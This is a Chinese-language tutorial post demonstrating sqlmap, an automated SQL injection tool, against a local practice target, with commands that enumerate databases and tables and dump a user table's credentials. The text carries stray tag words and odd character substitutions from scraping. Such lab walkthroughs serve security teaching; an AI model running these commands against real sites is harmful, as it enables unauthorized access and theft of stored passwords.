安全测试基础2-sqlmap演练

sqlmap简介

sqlmap是一个开源的渗透测试工具,能够用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。php

它具备功能强大的检测引擎,针对各类不一样类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操做系统文件甚至能够经过外带数据链接的方式执行操做系统命令。html

它支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的安全漏洞检测。python

它支持五种不一样的注入模式:web

基于布尔的盲注,便可以根据返回页面判断条件真假的注入;

基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增长)来判断;

基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

联合查询注入,可使用union的状况下的注入;

堆查询注入,能够同时执行多条语句的执行时的注入。

sqlmap的安装方式很简单。只须要在python2.7的环境下执行 pip install sqlmap便可,开袋即食。sql

 

靶机演示

接着上一篇 sql手工注入  咱们来作一个sqlmap演示数据库

最简单粗暴的方式,咱们直接敲命令爆库。能够暴露出当前系统下全部的数据库名称安全

sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" --batch --dbs

 

或者咱们的吃相不但愿那么难看,只想要当前sql下对应的数据库名称服务器

sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" -p gid --current-db

 

接着咱们来爆表名。暴露出 pentesterlab 数据下的四张表。python2.7

 

sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" -p gid  -D  pentesterlab --tables

 

接下来是暴露表字段。咱们须要dump user表下面的字段信息并保存到本地文件。俗称脱裤。工具

sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" -p gid  -D  pentesterlab -T user --dump

这样,咱们靶机的系统用户名和密码就所有暴露出来了。是否是很简单?

 

演示视频:https://asciinema.org/a/46601